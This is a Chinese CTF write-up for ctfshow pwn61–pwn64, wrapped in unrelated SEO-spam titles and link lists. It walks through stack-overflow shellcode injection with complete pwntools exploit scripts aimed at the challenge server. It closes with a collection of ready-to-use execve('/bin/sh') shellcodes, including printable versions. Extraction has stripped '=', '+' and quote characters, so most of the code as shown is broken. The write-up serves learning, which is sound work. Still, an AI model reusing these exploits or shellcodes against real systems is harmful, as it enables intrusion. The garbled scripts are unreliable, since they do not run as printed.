当前位置: 首页 > news >正文

品牌网站设计公司价格网站弹出的对话框怎么做

品牌网站设计公司价格,网站弹出的对话框怎么做,海报设计网站官网,爱站网长尾关键词挖掘查询工具目录 前言 一、pwn61#xff08;输出了什么#xff1f;#xff09; 二、pwn62#xff08;短了一点#xff09; 三、pwn63(又短了一点) 四、pwn64(有时候开启某种保护并不代表这条路不通) 五、一些shellcode 前言 这几道都是与shellcode有关的题#xff0c;实在是…目录 前言 一、pwn61输出了什么 二、pwn62短了一点 三、pwn63(又短了一点)   四、pwn64(有时候开启某种保护并不代表这条路不通) 五、一些shellcode 前言 这几道都是与shellcode有关的题实在是不会写还是试了试记录一下收集了一些shellcode。 一、pwn61输出了什么? checksec 一下 ┌──(kali㉿kali)-[~/桌面/ctfshoww] └─$ checksec --filepwn61 [*] /home/kali/桌面/ctfshoww/pwn61Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: PIE enabledStack: ExecutableRWX: Has RWX segments Stripped: No 开了地址随机化。 现在先看一下main函数 int __cdecl main(int argc, const char **argv, const char **envp) {__int64 v4; // [sp0h] [bp-10h]1__int64 v5; // [sp8h] [bp-8h]1v4 0LL;v5 0LL;setvbuf(_bss_start, 0LL, 1, 0LL);logo();puts(Welcome to CTFshow!);printf(Whats this : [%p] ?\n, v4, 0LL, 0LL);puts(Maybe its useful ! But how to use it?);gets(v4);return 0; } 主要是打印logo信息值得注意的是会输出一个地址查看一下v4: 0x10x08,我们写入shellcode以后通过返回v4的地址取让程序执行shellcode 本地运行一下 Welcome to CTFshow! Whats this : [0x7ffdb824c790] ? Maybe its useful ! But how to use it? v4ar0x7ffd9de01430 一开始我就是这样写的 from pwn import * context.log_leveldebug context.archamd64 premote(pwn.challenge.ctf.show,28164) padba*(0x100x8) v4ar0x7ffdb824c790 shellcodeasm(shellcraft.sh()) payload1padp64(v4ar)shellcode p.sendline(payload1) p.interactive() 发现打不通似乎忽略了一些东西于是去读了大佬们的文章。 遇到的一个问题是shellcode太长超出了v4,v5的范围这是为什么呢 Shellcode 的长度通常会超过 v5 的空间8 字节。如果直接覆盖 v5Shellcode 的部分内容可能会被截断。此外leave ret 之后程序可能会跳转到一个无效地址导致崩溃。 去搜索了一下leave 等价于 mov rsp, rbp 和 pop rbp。 它将 rbp 的值赋给 rsp从而恢复上一个栈帧的栈指针。 然后从栈上弹出 rbp 的值恢复上一个栈帧的基指针。 所以我们把shellcode写在v5后面就是padb’a’*0x8的位置因为还有一个返回地址的位置. 还有就是输出的地址是动态的每次不一样。 from pwn import * context(archamd64,log_leveldebug) premote(pwn.challenge.ctf.show,28297) pad0x108 shellcode asm(shellcraft.sh()) p.recvuntil(Whats this : [) v5ar eval(p.recvuntil(b],dropTrue)) #dropTrue是为去掉] #eval()是将str数据转为整型数据 print(hex(v5ar)) payloadflat([cyclic(pad),v5arpad8,shellcode]) p.sendline(payload) p.interactive() 注意返回地址v5的地址加pad8,不是填充字符。 二、pwn62短了一点 checksec和上一道题差不多: ┌──(kali㉿kali)-[~/桌面/ctfshoww] └─$ checksec --filepwn62 [*] /home/kali/桌面/ctfshoww/pwn62Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: PIE enabledStack: ExecutableRWX: Has RWX segments Stripped: No 也是地址随机化提前运行的界面和上一道题差不多会给一个地址。 拖进ida看一看。 看一下main函数 int __cdecl main(int argc, const char **argv, const char **envp) {FILE *v3; // rdi1__int64 buf; // [sp0h] [bp-10h]1__int64 v6; // [sp8h] [bp-8h]1buf 0LL;v6 0LL;v3 _bss_start;setvbuf(_bss_start, 0LL, 1, 0LL);logo(v3, 0LL);puts(Welcome to CTFshow!);printf(Whats this : [%p] ?\n, buf, 0LL, 0LL);puts(Maybe its useful ! But how to use it?);read(0, buf, 0x38uLL);return 0; } 看一下这个buf: -0000000000000010 buf dq ? -0000000000000008 var_8 dq ? 0000000000000000 s db 8 dup(?) 0000000000000008 r db 8 dup(?)0x100x8 这里的shellcode是有限制的。 from pwn import * context(archamd64,log_leveldebug) premote(pwn.challenge.ctf.show,28295) offset0x100x8 p.recvuntil([) buf_areval(p.recvuntil(b],dropTrue)) print(hex(buf_ar)) shellcodeb\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05 payloadoffset*bap64(buf_aroffset8)shellcode p.sendline(payload) p.interactive()三、pwn63(又短了一点)   checksec一下 [*] You have the latest version of Pwntools (4.14.0) [*] /home/kali/桌面/ctfshoww/pwn63Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX unknown - GNU_STACK missingPIE: PIE enabledStack: ExecutableRWX: Has RWX segments Stripped: No开了地址随机化拖进ida看一看和上一道题有什么区别。 确实有一些变化 puts(Maybe its useful ! But how to use it?);read(0, buf, 0x37uLL); 看一下buf -0000000000000010 buf dq ? -0000000000000008 var_8 dq ? 0000000000000000 s db 8 dup(?) 0000000000000008 r db 8 dup(?) 0x100x8 from pwn import * context(archamd64,log_leveldebug) premote(pwn.challenge.ctf.show,28222) offset0x100x8 p.recvuntil([) buf_areval(p.recvuntil(b],dropTrue)) print(hex(buf_ar)) shellb\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05 payloadoffset*bap64(buf_aroffset8)shell p.sendline(payload) p.interactive() 四、pwn64(有时候开启某种保护并不代表这条路不通) 有点意思先checksec一下 ┌──(kali㉿kali)-[~/桌面/ctfshoww] └─$ checksec --filepwn64 [*] /home/kali/桌面/ctfshoww/pwn64Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000) Stripped: No 虽然开了栈不可执行但是程序里有不一样的东西 buf mmap(0, 0x400u, 7, 34, 0, 0); 一开始我也不知道这是什么查了一下 mmap 是一个系统调用用于创建一个内存映射区域。它通常用于以下场景 ·映射文件到内存以便可以像访问内存一样访问文件内容。 ·创建匿名内存区域用于分配动态内存。 ·共享内存用于进程间通信。 根据之前学的知识7port参数是可读可写的意思所以我们任然可以注入shellcode。 void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset); 0x400字节足够我们放下shellcode,总之试一试 from pwn import * premote(wn.challenge.ctf.show,28201) shellcodeasm(shellcraft.sh()) payloadshellcode p.sendline(payload) p.interactive() 打通之后快些ls,因为有定时器如果想更长一点可以加一段shellcode但是用处不大因为我也不太会写shellcode,所以问了问人机了解了一下 from pwn import * premote(wn.challenge.ctf.show,28201) alarm_closeasm(mov eax,37xor ebx,ebxint 0x80 ,archi386) shellcodeasm(shellcraft.sh()) payloadalarm_closeshellcode p.sendline(payload) p.interactive() 五、一些shellcode 关于shellcode我也不会写所以去搜了一些shellcode一般情况下还是能用的。 不可见 32位段字节shellcode21字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80 64位较短的shellcode23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05 可见版本由可见字符组成 X64: Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t 32位 PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA 继续学习中......
http://www.hkea.cn/news/14294080/

相关文章:

  • 网站建设要懂哪些技术wordpress和python
  • 国外网站建设嫣语赋山东济宁做网站的公司有哪些
  • 中国空间站设计在轨飞行多少年wordpress站外连接
  • 建立一个做笔记的网站公司让我做网站负责人
  • 济南网站建设推广报价杭州网络推广外包
  • 自学做网站一般要多久做网页价格
  • 昌邑市建设局网站食品电子商务网站建设规划书
  • linux建设一个网站网络服务机构的网站
  • 做的好的网站营销微信公众号新开传奇网站站
  • seo推广有用吗seo对网站的作用
  • 东莞做网站的公司wordpress最好用的编辑器缓慢
  • 织梦网站怎么居中wordpress钉钉登录
  • 芜湖网站建设推广页面设计包括哪些方面
  • 网站需要审核吗包包网站建设可行性分析
  • 辽宁智能网站建设价位dw网站制作的源代码
  • wordpress设置网站地图珠海网站建设品牌策划
  • 网站页面设计图片素材建设旅游网站的价值
  • 网站开发用到的研究方法武安市城乡建设局网站
  • 官方网站建设的目的乌兰察布盟建设银行网站
  • 简述网站规划的主要内容建设一个怎样的自己的网站
  • 网站更换域名需要重新备案吗保定哪里做网站
  • 怎样加入装修接单网站wordpress主题对应的插件
  • 医院网站建设计划四川 网站建设
  • 做承兑 汇票一般会用哪些网站wordpress个人网站模板
  • 建设个人网站步骤wordpress国内主机推荐
  • 有心学做网站青岛公司网站建设公司排名
  • 如何知道网站流量云集网站哪个公司做的
  • 青岛网站设计企业罗湖网站(建设深圳信科)
  • 一般网站怎么做推广企业在网站推广
  • 上海响应式网站建设费用做电工的有接单的网站吗